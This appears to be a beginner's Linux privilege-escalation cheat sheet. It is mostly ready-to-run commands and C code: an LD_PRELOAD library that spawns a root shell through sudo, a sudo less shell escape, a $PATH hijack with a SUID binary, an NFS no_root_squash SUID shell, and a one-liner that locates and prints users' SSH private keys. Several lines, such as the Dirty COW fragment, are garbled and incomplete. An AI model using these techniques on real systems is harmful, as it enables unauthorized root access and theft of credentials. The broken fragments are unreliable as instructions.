Bypass security restrictions in misconfigured systems.
To bypass security restrictions in misconfigured systems for beginners.
⭐GTFOBins - https://gtfobins.github.io/
uname -a
cat /etc/issue
cat /proc/version
We can also use Linux Priv Checker as mentioned above.
root_file
using mmap
.mmap()
callproc/self/mem
.root_file
.For visualization - https://www.cs.toronto.edu/~arnold/427/18s/427_18S/indepth/dirty-cow/demo.html
-To list all the binaries which have SUID and SGID buts set
find / -type f -perm -04000 -ls 2>/dev/null
sudo -l
env_keep+=LD_Preload
then the function is enabled.#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfile
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
This is also explained in this blog - https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/
sudo -l
sudo less /etc/profile
!/bin/sh
echo "/bin/bash -i" >> exec.sh
sudo ./exec.sh
Check the following articles 👇
getcap -r / 2>/dev/null
/etc/crontab
root
list the PATH by echo $PATH
Check if the current folder in $PATH is writable 👇
find for writable path find / -writable 2>/dev/null
or clean the out put using -> find / -writable 2>/dev/null | cut -d "/" -f2 | sort -u
To find the folder under the writable path use find / -writable 2>/dev/null | grep {DIR} | cut -d "/" -f 2,3,4 | sort -u
(change the {DIR})
Check if the current user can modify the path
If you can then add the following folder in $PATH which is writable in most of the cases it is /tmp
If able to modify the $PATH then export PATH=/{DIR}:$PATH
(make sure to change the {DIR})
Now we have the required directory listed in out $PATH then we can just create a Script to exploit it
Go to any writable folder and make a script using nano
Now compile it using gcc gcc path.c -o shell
.
OR you can also use python3 file path.py, just run it as executable./{filename}` ❌ not as `python3 {file.py}
❌
After compiling set the SUID bit chmod u+s shell
Now, go into the directory whichever you have added to $PATH and create a executable file echo "/bin/bash" > tobeX
give it executable rights chmod 777 tobeX
./shell
. Boom!The list of all the fielsystems which may be exported is present in /etc/exports
.
Check for no_root_squash
.
By using showmount
you can see the mountable shares in your attack machine.
Then just mount the shared to your attack machine by 👉🏻 mount -o rw {ip of target}:{mountable dir} /{dir of ur attack machine}
Just create a executable with SUID bit set in that folder which can run /bin/bash on the target system check this nfs.c for example
int main()
{setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
ls -la /home /root /etc/ssh /home/*/.ssh/; locate id_rsa; locate id_dsa; find / -name id_rsa 2> /dev/null; find / -name id_dsa 2> /dev/null; find / -name authorized_keys 2> /dev/null; cat /home/*/.ssh/id_rsa; cat /home/*/.ssh/id_dsa
Thanks for reading.